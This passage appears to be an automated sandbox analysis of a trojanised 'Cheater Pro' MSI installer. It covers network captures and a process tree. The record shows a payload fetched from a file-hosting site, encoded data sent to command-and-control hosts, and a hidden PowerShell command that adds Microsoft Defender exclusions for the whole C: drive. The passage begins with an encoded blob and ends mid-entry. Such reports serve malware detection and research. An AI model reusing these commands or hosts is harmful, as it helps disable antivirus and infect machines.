{"loader":"YjMsNWIsZDIsYmMsYmYsOTIsYzEsZGYsYWIsYjYsZDAsYmEsYmYsZDUsYzYsOWQsYjYsOTYsOTQsOGQsN2IsYTMsNjMsNTYsOTMsYjYsYzUsZDIsYzcsZGEsYzYsNjgsNzIsNTksYTEsNmYsNmYsNTMsYzAsZDEsYjgsYjMsZTAsYzIsYmQsY2YsODQsNzIsNjQsZWYsN2MsZTEsYjQsZTQsYTgsNTYsNmMsNjEsN2UsOTQsODEsODUsN2EsYjksYWMsOWEsZTQsYjgsYzIsNTMsODgsOGMsYjIsYjMsZDcsYzcsYmYsZTQsOGUsNTgsNjYsZTgsYmIsY2YsYjcsZGMsYjcsNTYsNmMsNjEsY2MsODUsYzksY2EsZDAsYmEsNWEsNzMsOTAsNjUsOTAsOWYsNmUsZDEsYmUsYzQsZGEsYzYsN2EsZDYsYzUsOWIsYjksZTYsY2MsZDIsYWYsOTksNmYsNTQsNTQsYjQsYzUsYzQsYzksZGEsY2IsNjgsNzIsNTksZDYsYTQsYmIsYTQsYjMsZTksNzgsNzIsOGQsYmMsYzMsY2IsYzcsNWEsN2UsOTQsOGIsOTksNmIsOTksYjMsOTksYTQsYjQsYmEsZDYsYzksY2EsYzYsYTksOWQsNWIsYWEsNjMsN2YsYWUs","tasks":"OTMsYjQsOTIsYWMsYjMsNTMsODgsOGMs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49717	108.181.20.35	80	1216	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 05:18:24.702400923 CET	123	OUT	GET /nzct1p HTTP/1.1 Content-Type: application/json User-Agent: Tree Host: files.catbox.moe Cache-Control: no-cache
Dec 19, 2023 05:18:24.894125938 CET	1286	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 19 Dec 2023 04:18:24 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://files.catbox.moe/nzct1p Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Content-Security-Policy: default-src 'self'; img-src 'self' https://files.catbox.moe; media-src 'self' https://files.catbox.moe; style-src 'self' 'unsafe-inline'; script-src https://www.google.com https://www.gstatic.com 'self' 'unsafe-inline'; frame-src https://www.google.com; Referrer-Policy: same-origin Permissions-Policy: accelerometer=(),ambient-light-sensor=(),autoplay=(),battery=(),camera=(),display-capture=(),document-domain=(),encrypted-media=(),execution-while-not-rendered=(),execution-while-out-of-viewport=(),fullscreen=(),gamepad=(),geolocation=(),gyroscope=(),hid=(),identity-credentials-get=(),idle-detection=(),local-fonts=(),magnetometer=(),microphone=(),midi=(),otp-credentials=(),payment=(),picture-in-picture=(),publickey-credentials-create=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),speaker-selection=(),storage-access=(),usb=(),web-share=(),xr-spatial-tracking=() Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 Data Ascii: <html><hea
Dec 19, 2023 05:18:24.894145966 CET	150	IN	Data Raw: 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 Data Ascii: d><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49727	104.21.80.57	80	6480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 05:21:38.488856077 CET	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: dayfarrichjwclik.fun
Dec 19, 2023 05:21:38.488886118 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49726	213.248.43.40	80	1216	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 05:21:39.232194901 CET	274	OUT	PUT /task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms HTTP/1.1 Content-Type: application/json User-Agent: Tree Host: 213.248.43.40 Content-Length: 95 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 4d 73 4f 57 45 73 5a 54 4d 73 59 57 55 73 4f 54 67 73 4f 54 55 73 4f 47 49 73 59 54 4d 73 4f 44 41 73 4f 44 51 73 4f 54 45 73 59 6a 63 73 59 7a 6b 73 5a 47 4d 73 5a 44 41 73 59 57 4d 73 59 6a 59 73 5a 57 51 73 4f 54 63 73 59 7a 49 73 4f 57 55 3d 22 7d Data Ascii: {"data":"YWMsOWEsZTMsYWUsOTgsOTUsOGIsYTMsODAsODQsOTEsYjcsYzksZGMsZDAsYWMsYjYsZWQsOTcsYzIsOWU="}
Dec 19, 2023 05:21:39.683070898 CET	532	IN	HTTP/1.1 204 No Content Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Dec 2023 04:21:39 GMT Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JZ9A9NqokzMrFah2QHGQ3ftA4yI3P0xBtWGPwlXfrHqckPr0foFXk%2Bq%2B0zErAfdYzTg%2FOem%2F%2FathrDpzP5sBXyfKj8hx5Ct8RXOpOQWCbHyaJVmbwjU4tV29Xr17d%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 837cdc296dd02c21-FRA alt-svc: h3=":443"; ma=86400

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	108.181.20.35	443	1216	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-19 04:18:25 UTC	115	OUT	GET /nzct1p HTTP/1.1 User-Agent: Tree Cache-Control: no-cache Host: files.catbox.moe Connection: Keep-Alive
2023-12-19 04:18:26 UTC	555	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 19 Dec 2023 04:18:25 GMT Content-Type: application/octet-stream Content-Length: 40404141 Last-Modified: Fri, 15 Dec 2023 14:54:05 GMT Connection: close ETag: "657c688d-26884ad" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2023-12-19 04:18:26 UTC	15829	IN	Data Raw: 38 35 2c 39 33 2c 31 30 30 2c 34 33 2c 35 32 2c 33 31 2c 34 65 2c 36 63 2c 35 30 2c 35 32 2c 36 62 2c 35 34 2c 31 35 39 2c 31 36 36 2c 36 32 2c 33 38 2c 66 63 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 37 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 64 35 2c 36 35 2c 35 38 2c 34 36 2c 34 36 2c 35 38 2c 31 32 61 2c 35 31 2c 34 66 2c 65 35 2c 35 37 2c 31 33 39 2c 36 64 2c 31 30 61 2c 36 63 2c 61 30 2c 31 32 37 2c 38 38 2c 62 36 2c 61 30 2c 61 64 2c 65 37 2c 37 61 Data Ascii: 85,93,100,43,52,31,4e,6c,50,52,6b,54,159,166,62,38,fc,74,5a,6d,4b,77,43,34,72,41,51,63,55,65,58,46,38,39,70,43,4f,31,4e,6c,4c,52,6b,54,5a,67,62,38,44,74,5a,6d,4b,77,43,34,32,41,51,63,d5,65,58,46,46,58,12a,51,4f,e5,57,139,6d,10a,6c,a0,127,88,b6,a0,ad,e7,7a
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 36 2c 39 33 2c 39 31 2c 35 61 2c 36 37 2c 36 38 2c 36 34 2c 34 36 2c 38 62 2c 38 34 2c 37 33 2c 36 32 2c 63 66 2c 34 64 2c 33 61 2c 34 63 2c 37 32 2c 31 33 62 2c 37 39 2c 37 66 2c 36 66 2c 38 33 2c 31 32 39 2c 33 61 2c 36 34 2c 31 35 34 2c 34 36 2c 37 61 2c 31 31 34 2c 34 65 2c 36 63 2c 36 37 2c 38 32 2c 37 38 2c 35 34 2c 36 64 2c 36 61 2c 36 32 2c 33 38 2c 35 61 2c 37 34 2c 35 61 2c 37 65 2c 36 31 2c 61 66 2c 31 33 61 2c 33 36 2c 33 32 2c 34 31 2c 36 37 2c 39 62 2c 31 34 63 2c 36 37 2c 35 38 2c 34 36 2c 62 36 2c 35 36 2c 37 30 2c 34 33 2c 35 33 2c 35 31 2c 36 65 2c 37 31 2c 34 63 2c 35 32 2c 61 33 2c 31 34 32 2c 35 63 2c 36 37 2c 36 32 2c 33 62 2c 63 32 2c 39 31 2c 35 61 2c 36 64 2c 34 66 2c 39 37 2c 36 33 2c 33 39 2c 33 32 2c 34 31 2c 37 39 2c 31 31 32 Data Ascii: 6,93,91,5a,67,68,64,46,8b,84,73,62,cf,4d,3a,4c,72,13b,79,7f,6f,83,129,3a,64,154,46,7a,114,4e,6c,67,82,78,54,6d,6a,62,38,5a,74,5a,7e,61,af,13a,36,32,41,67,9b,14c,67,58,46,b6,56,70,43,53,51,6e,71,4c,52,a3,142,5c,67,62,3b,c2,91,5a,6d,4f,97,63,39,32,41,79,112
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 2c 36 35 2c 36 32 2c 36 32 2c 37 32 2c 35 64 2c 36 38 2c 38 31 2c 36 35 2c 37 31 2c 64 36 2c 37 65 2c 33 38 2c 34 34 2c 37 65 2c 36 62 2c 38 30 2c 62 61 2c 31 35 66 2c 34 33 2c 33 34 2c 33 38 2c 36 64 2c 31 32 31 2c 36 39 2c 63 34 2c 31 30 38 2c 35 38 2c 34 36 2c 34 32 2c 34 63 2c 38 38 2c 34 39 2c 36 30 2c 34 33 2c 62 64 2c 31 31 62 2c 34 63 2c 35 32 2c 37 35 2c 35 61 2c 36 62 2c 37 61 2c 64 31 2c 31 31 65 2c 34 34 2c 37 34 2c 36 30 2c 64 36 2c 62 61 2c 38 63 2c 34 34 2c 33 34 2c 33 38 2c 34 37 2c 36 32 2c 37 62 2c 63 34 2c 31 31 34 2c 35 38 2c 34 36 2c 34 32 2c 34 61 2c 38 30 2c 35 34 2c 36 30 2c 62 66 2c 62 37 2c 63 34 2c 35 66 2c 36 32 2c 37 63 2c 36 34 2c 35 63 2c 66 35 2c 63 62 2c 37 37 2c 35 31 2c 31 37 33 2c 31 35 39 2c 31 36 63 2c 38 33 2c 31 31 Data Ascii: ,65,62,62,72,5d,68,81,65,71,d6,7e,38,44,7e,6b,80,ba,15f,43,34,38,6d,121,69,c4,108,58,46,42,4c,88,49,60,43,bd,11b,4c,52,75,5a,6b,7a,d1,11e,44,74,60,d6,ba,8c,44,34,38,47,62,7b,c4,114,58,46,42,4a,80,54,60,bf,b7,c4,5f,62,7c,64,5c,f5,cb,77,51,173,159,16c,83,11
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 2c 63 38 2c 33 31 2c 34 65 2c 37 30 2c 36 62 2c 35 65 2c 63 62 2c 64 31 2c 64 33 2c 36 37 2c 36 32 2c 33 63 2c 36 65 2c 37 34 2c 35 61 2c 36 64 2c 64 64 2c 61 32 2c 35 38 2c 61 66 2c 61 62 2c 34 31 2c 35 31 2c 36 37 2c 37 34 2c 38 33 2c 38 62 2c 35 30 2c 36 33 2c 34 36 2c 65 62 2c 62 65 2c 34 66 2c 33 31 2c 35 32 2c 39 37 2c 35 35 2c 37 63 2c 38 31 2c 37 65 2c 35 63 2c 39 32 2c 31 34 61 2c 33 61 2c 36 66 2c 31 36 34 2c 63 39 2c 37 65 2c 34 63 2c 37 37 2c 34 39 2c 35 66 2c 31 32 32 2c 34 31 2c 35 31 2c 36 33 2c 61 37 2c 39 30 2c 36 30 2c 63 31 2c 62 34 2c 33 39 2c 37 30 2c 34 37 2c 37 61 2c 33 35 2c 37 38 2c 36 65 2c 37 37 2c 31 34 37 2c 64 61 2c 35 66 2c 35 62 2c 36 37 2c 36 38 2c 36 33 2c 31 33 39 2c 37 34 2c 35 61 2c 36 64 2c 62 31 2c 61 32 2c 34 64 2c Data Ascii: ,c8,31,4e,70,6b,5e,cb,d1,d3,67,62,3c,6e,74,5a,6d,dd,a2,58,af,ab,41,51,67,74,83,8b,50,63,46,eb,be,4f,31,52,97,55,7c,81,7e,5c,92,14a,3a,6f,164,c9,7e,4c,77,49,5f,122,41,51,63,a7,90,60,c1,b4,39,70,47,7a,35,78,6e,77,147,da,5f,5b,67,68,63,139,74,5a,6d,b1,a2,4d,
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 62 65 2c 31 30 31 2c 36 33 2c 35 35 2c 36 39 2c 35 61 2c 36 62 2c 62 33 2c 65 36 2c 37 30 2c 34 33 2c 35 33 2c 33 37 2c 61 36 2c 65 39 2c 66 39 2c 35 32 2c 36 62 2c 35 38 2c 35 63 2c 65 32 2c 31 30 66 2c 33 38 2c 34 34 2c 37 38 2c 37 61 2c 37 33 2c 34 63 2c 37 37 2c 34 33 2c 36 33 2c 34 33 2c 34 33 2c 63 63 2c 31 31 34 2c 35 35 2c 36 35 2c 35 63 2c 34 38 2c 62 33 2c 65 62 2c 37 30 2c 34 33 2c 35 33 2c 37 30 2c 61 66 2c 31 36 62 2c 31 34 62 2c 31 35 31 2c 36 64 2c 63 66 2c 31 30 37 2c 36 37 2c 36 32 2c 33 63 2c 35 64 2c 61 36 2c 36 30 2c 36 66 2c 37 33 2c 37 61 2c 34 34 2c 33 34 2c 33 38 2c 36 62 2c 35 33 2c 39 62 2c 38 32 2c 31 36 34 2c 31 35 37 2c 31 34 35 2c 33 61 2c 37 31 2c 61 62 2c 31 34 32 2c 31 34 65 2c 31 33 30 2c 37 36 2c 37 31 2c 34 64 2c 35 32 Data Ascii: be,101,63,55,69,5a,6b,b3,e6,70,43,53,37,a6,e9,f9,52,6b,58,5c,e2,10f,38,44,78,7a,73,4c,77,43,63,43,43,cc,114,55,65,5c,48,b3,eb,70,43,53,70,af,16b,14b,151,6d,cf,107,67,62,3c,5d,a6,60,6f,73,7a,44,34,38,6b,53,9b,82,164,157,145,3a,71,ab,142,14e,130,76,71,4d,52
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 2c 38 63 2c 37 63 2c 38 64 2c 34 36 2c 33 65 2c 33 39 2c 63 33 2c 35 61 2c 38 34 2c 33 31 2c 35 34 2c 36 63 2c 62 39 2c 36 39 2c 61 30 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 35 39 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 34 2c 33 34 2c 33 33 2c 34 31 2c 35 31 2c 36 33 2c 36 35 2c 36 35 2c 37 36 2c 34 36 2c 35 61 2c 33 39 2c 37 35 2c 34 33 2c 35 30 2c 33 31 2c 34 66 2c 36 63 2c 34 63 2c 35 32 2c 37 62 2c 35 34 2c 39 36 2c 36 37 2c 38 34 2c 33 38 2c 34 39 2c 37 34 2c 35 63 2c 36 64 2c 35 30 2c 37 37 2c 34 33 2c 33 34 2c 34 32 2c 34 31 2c 39 32 2c 36 33 2c 37 37 2c 36 35 2c 35 64 2c 34 36 2c 33 62 2c 33 39 2c 37 61 2c 34 33 2c 34 66 2c 33 31 2c 35 65 2c 36 63 2c 39 32 2c 35 32 2c 38 64 2c 35 34 2c 35 66 2c 36 37 2c 36 36 2c 33 38 2c 35 31 Data Ascii: ,8c,7c,8d,46,3e,39,c3,5a,84,31,54,6c,b9,69,a0,54,5a,67,62,38,59,74,5a,6d,4b,77,44,34,33,41,51,63,65,65,76,46,5a,39,75,43,50,31,4f,6c,4c,52,7b,54,96,67,84,38,49,74,5c,6d,50,77,43,34,42,41,92,63,77,65,5d,46,3b,39,7a,43,4f,31,5e,6c,92,52,8d,54,5f,67,66,38,51
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 30 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 64 65 2c 34 36 2c 64 36 2c 34 32 2c 63 35 2c 34 34 2c 62 39 2c 33 32 2c 37 32 2c 62 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 65 30 2c 36 37 2c 31 30 34 2c 34 31 2c 38 32 2c 37 37 2c 63 34 2c 36 65 2c 31 30 66 2c 63 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 64 37 2c 36 33 2c 66 66 2c 36 65 2c 38 64 2c 34 39 2c 61 35 2c 33 61 2c 39 38 2c 39 34 2c 34 66 2c 33 31 2c 34 65 2c 36 63 2c 63 64 2c 35 32 2c 31 31 64 2c 35 64 2c 61 30 2c 36 61 2c 64 30 2c 33 39 2c 64 30 2c 63 35 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 63 39 2c 33 34 2c 66 30 2c 34 61 2c 39 65 2c 36 36 2c 63 36 2c 36 36 2c 62 34 2c 39 38 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 64 35 2c 33 31 2c 31 31 30 2c 37 35 2c 39 66 2c 35 35 2c 64 65 2c 35 35 2c 37 36 2c Data Ascii: 0,51,63,55,65,de,46,d6,42,c5,44,b9,32,72,bc,4c,52,6b,54,e0,67,104,41,82,77,c4,6e,10f,c7,43,34,32,41,d7,63,ff,6e,8d,49,a5,3a,98,94,4f,31,4e,6c,cd,52,11d,5d,a0,6a,d0,39,d0,c5,5a,6d,4b,77,c9,34,f0,4a,9e,66,c6,66,b4,98,38,39,70,43,d5,31,110,75,9f,55,de,55,76,
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 36 64 2c 66 66 2c 36 66 2c 31 30 61 2c 35 30 2c 37 66 2c 33 39 2c 37 31 2c 34 33 2c 39 61 2c 33 31 2c 35 32 2c 36 63 2c 39 62 2c 35 32 2c 37 32 2c 35 34 2c 35 61 2c 36 37 2c 37 33 2c 34 33 2c 31 30 37 2c 37 37 2c 35 61 2c 36 64 2c 36 61 2c 38 32 2c 31 30 36 2c 33 37 2c 33 32 2c 34 31 2c 37 66 2c 36 65 2c 31 31 63 2c 36 38 2c 35 38 2c 34 36 2c 37 35 2c 34 34 2c 31 33 62 2c 34 36 2c 34 66 2c 33 31 2c 39 34 2c 37 37 2c 31 31 33 2c 35 35 2c 36 62 2c 35 34 2c 38 38 2c 37 32 2c 31 32 39 2c 33 62 2c 34 34 2c 37 34 2c 61 62 2c 37 38 2c 31 30 65 2c 37 61 2c 34 33 2c 33 34 2c 38 63 2c 34 63 2c 31 31 38 2c 36 36 2c 35 37 2c 36 35 2c 31 32 32 2c 34 36 2c 33 62 2c 33 39 2c 37 32 2c 34 33 2c 31 31 61 2c 33 31 2c 35 33 2c 36 63 2c 34 65 2c 35 32 2c 31 33 38 2c 35 34 2c Data Ascii: 6d,ff,6f,10a,50,7f,39,71,43,9a,31,52,6c,9b,52,72,54,5a,67,73,43,107,77,5a,6d,6a,82,106,37,32,41,7f,6e,11c,68,58,46,75,44,13b,46,4f,31,94,77,113,55,6b,54,88,72,129,3b,44,74,ab,78,10e,7a,43,34,8c,4c,118,66,57,65,122,46,3b,39,72,43,11a,31,53,6c,4e,52,138,54,
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 2c 39 64 2c 33 39 2c 62 34 2c 61 38 2c 62 35 2c 39 61 2c 62 63 2c 64 31 2c 39 63 2c 39 62 2c 64 39 2c 63 61 2c 63 39 2c 64 32 2c 63 37 2c 38 35 2c 61 39 2c 65 38 2c 63 32 2c 64 63 2c 61 66 2c 37 37 2c 39 30 2c 39 39 2c 61 36 2c 61 39 2c 63 30 2c 63 37 2c 39 37 2c 64 61 2c 63 31 2c 62 32 2c 39 63 2c 39 65 2c 65 32 2c 34 33 2c 39 63 2c 39 36 2c 63 32 2c 64 34 2c 62 62 2c 62 36 2c 61 63 2c 63 38 2c 63 65 2c 64 39 2c 63 62 2c 39 61 2c 62 39 2c 65 38 2c 62 66 2c 65 30 2c 34 62 2c 62 61 2c 61 34 2c 61 30 2c 39 65 2c 61 61 2c 62 66 2c 63 61 2c 39 38 2c 64 34 2c 63 36 2c 62 63 2c 39 64 2c 61 37 2c 65 34 2c 61 63 2c 62 65 2c 39 66 2c 63 31 2c 36 63 2c 38 66 2c 62 33 2c 64 37 2c 63 30 2c 63 33 2c 64 35 2c 63 39 2c 37 62 2c 62 33 2c 65 32 2c 64 30 2c 64 32 2c 62 39 Data Ascii: ,9d,39,b4,a8,b5,9a,bc,d1,9c,9b,d9,ca,c9,d2,c7,85,a9,e8,c2,dc,af,77,90,99,a6,a9,c0,c7,97,da,c1,b2,9c,9e,e2,43,9c,96,c2,d4,bb,b6,ac,c8,ce,d9,cb,9a,b9,e8,bf,e0,4b,ba,a4,a0,9e,aa,bf,ca,98,d4,c6,bc,9d,a7,e4,ac,be,9f,c1,6c,8f,b3,d7,c0,c3,d5,c9,7b,b3,e2,d0,d2,b9
2023-12-19 04:18:26 UTC	16384	IN	Data Raw: 35 2c 61 64 2c 31 32 36 2c 38 31 2c 31 33 61 2c 31 34 36 2c 31 31 35 2c 34 32 2c 35 34 2c 31 33 61 2c 37 62 2c 31 34 65 2c 64 36 2c 31 32 39 2c 31 31 32 2c 34 31 2c 65 35 2c 34 39 2c 31 32 32 2c 64 35 2c 65 33 2c 31 30 66 2c 38 38 2c 62 63 2c 31 32 39 2c 39 37 2c 61 63 2c 31 32 63 2c 66 37 2c 65 30 2c 31 32 35 2c 65 32 2c 65 66 2c 35 62 2c 31 32 63 2c 31 30 62 2c 62 64 2c 39 35 2c 39 64 2c 31 31 65 2c 66 36 2c 66 32 2c 31 31 62 2c 31 32 35 2c 31 32 39 2c 31 34 33 2c 64 30 2c 34 37 2c 61 66 2c 31 33 39 2c 35 62 2c 31 33 32 2c 63 66 2c 31 30 37 2c 63 65 2c 31 33 61 2c 38 66 2c 31 30 34 2c 31 36 62 2c 37 61 2c 38 64 2c 65 34 2c 38 31 2c 31 33 63 2c 31 32 65 2c 36 63 2c 61 30 2c 31 32 66 2c 62 37 2c 31 35 31 2c 62 39 2c 37 37 2c 63 35 2c 31 31 30 2c 31 30 33 Data Ascii: 5,ad,126,81,13a,146,115,42,54,13a,7b,14e,d6,129,112,41,e5,49,122,d5,e3,10f,88,bc,129,97,ac,12c,f7,e0,125,e2,ef,5b,12c,10b,bd,95,9d,11e,f6,f2,11b,125,129,143,d0,47,af,139,5b,132,cf,107,ce,13a,8f,104,16b,7a,8d,e4,81,13c,12e,6c,a0,12f,b7,151,b9,77,c5,110,103

Target ID:	0
Start time:	05:17:56
Start date:	19/12/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi"
Imagebase:	0x7ff759150000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:17:57
Start date:	19/12/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff759150000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:17:57
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding A85B4FF1784BEC87258FF128D188C24C C
Imagebase:	0xd00000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:18:02
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding B3E03B019F939F49F4DAB01F62926825
Imagebase:	0xd00000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:18:03
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue."
Imagebase:	0x550000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:18:03
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:18:04
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }
Imagebase:	0x550000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:18:08
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding CDCA23E181F377D7B87D52A0F3A49202 E Global\MSI0000
Imagebase:	0xd00000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:18:09
Start date:	19/12/2023
Path:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Imagebase:	0x7ff7189e0000
File size:	893'994 bytes
MD5 hash:	241F579EB451541B0BFDAF1553E491DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 4%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:18:10
Start date:	19/12/2023
Path:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Imagebase:	0x7ff7189e0000
File size:	893'994 bytes
MD5 hash:	241F579EB451541B0BFDAF1553E491DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:18:23
Start date:	19/12/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
